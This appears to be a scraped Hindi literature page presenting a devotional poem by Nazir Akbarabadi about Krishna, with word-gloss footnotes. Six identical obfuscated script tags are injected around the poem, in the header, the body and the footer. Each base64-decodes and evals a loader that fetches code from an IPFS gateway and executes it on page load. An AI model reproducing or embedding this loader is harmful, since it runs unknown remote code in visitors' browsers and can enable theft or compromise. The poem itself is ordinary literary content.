<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
नज़ीर अकबराबादी की रचनाएँ
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
है सबका ख़ुदा सब तुझ पे फ़िदा ।
अल्लाहो ग़नी[१], अल्लाहो ग़नी ।
हे कृष्ण कन्हैया, नन्द लला !
अल्लाहो ग़नी, अल्लाहो ग़नी ।
इसरारे[२] हक़ीक़त यों खोले ।
तोहीद[३] के वह मोती रोले ।
सब कहने लगे ऐ सल्ले अला ।
अल्लाहो ग़नी, अल्लाहो ग़नी ।
सरसब्ज़ हुए वीरानए दिल ।
इस में हुआ जब तू दाखिल ।
गुलज़ार खिला सहरा-सहरा[४] ।
अल्लाहो ग़नी, अल्लाहो ग़नी ।
फिर तुझसे तजल्ली[५] ज़ार[६] हुई ।
दुनिया कहती तीरो तार हुई ।
ऐ जल्वा फ़रोज़े[७] बज़्मे-हुदा[८] ।
ऐ सल्ले अला,
अल्लाहो ग़नी, अल्लाहो ग़नी ।
मुट्ठी भर चावल के बदले ।
दुख दर्द सुदामा के दूर किए ।
पल भर में बना क़तरा दरिया ।
ऐ सल्ले अला,
अल्लाहो ग़नी, अल्लाहो ग़नी ।
जब तुझसे मिला ख़ुद को भूला ।
हैरान हूँ मैं इंसा कि ख़ुदा ।
मैं यह भी हुआ, मैं वह भी हुआ ।
ऐ सल्ले अला,
अल्लाहो ग़नी, अल्लाहो ग़नी ।
ख़ुर्शीद[९] में जल्वा चाँद में भी ।
हर गुल में तेरे रुख़सार[१०] की बू ।
घूँघट जो खुला सखियों ने कहा ।
ऐ सल्ले अला,
अल्लाहो ग़नी, अल्लाहो ग़नी ।
दिलदार ग्वालों, बालों का ।
और सारे दुनियादारों का ।
सूरत में नबी[११] सीरत[१२] में ख़ुदा ।
ऐ सल्ले अला,
अल्लाहो ग़नी, अल्लाहो ग़नी ।
इस हुस्ने अमल[१३] के सालिक[१४] ने ।
इस दस्तो जबलए[१५] के मालिक ने ।
कोहसार[१६] लिया उँगली पे उठा ।
ऐ सल्ले अला,
अल्लाहो ग़नी, अल्लाहो ग़नी ।
मन मोहिनी सूरत वाला था ।
न गोरा था न काला था ।
जिस रंग में चाहा देख लिया ।
ऐ सल्ले अला,
अल्लाहो ग़नी, अल्लाहो ग़नी ।
तालिब[१७] है तेरी रहमत का ।
बन्दए नाचीज़[१८] नज़ीर तेरा ।
तू बहरे करम[१९] है नंद लला ।
ऐ सल्ले अला,
अल्लाहो ग़नी, अल्लाहो ग़नी ।
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ↑ निस्पृह
- ↑ मर्म
- ↑ अद्वैत
- ↑ जंगल-जंगल
- ↑ आभा
- ↑ भरपूर
- ↑ रोशन करने वाले
- ↑ सत्यता की महफ़िल
- ↑ सूरज
- ↑ कपोल
- ↑ ईश-दूत
- ↑ स्वभाव
- ↑ शुभ कार्य
- ↑ गृहस्थ
- ↑ जंगल और पहाड़
- ↑ पर्वत
- ↑ इच्छुक
- ↑ तुच्छ सेवक
- ↑ दया का सागर
संबंधित लेख
वर्णमाला क्रमानुसार लेख खोज
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>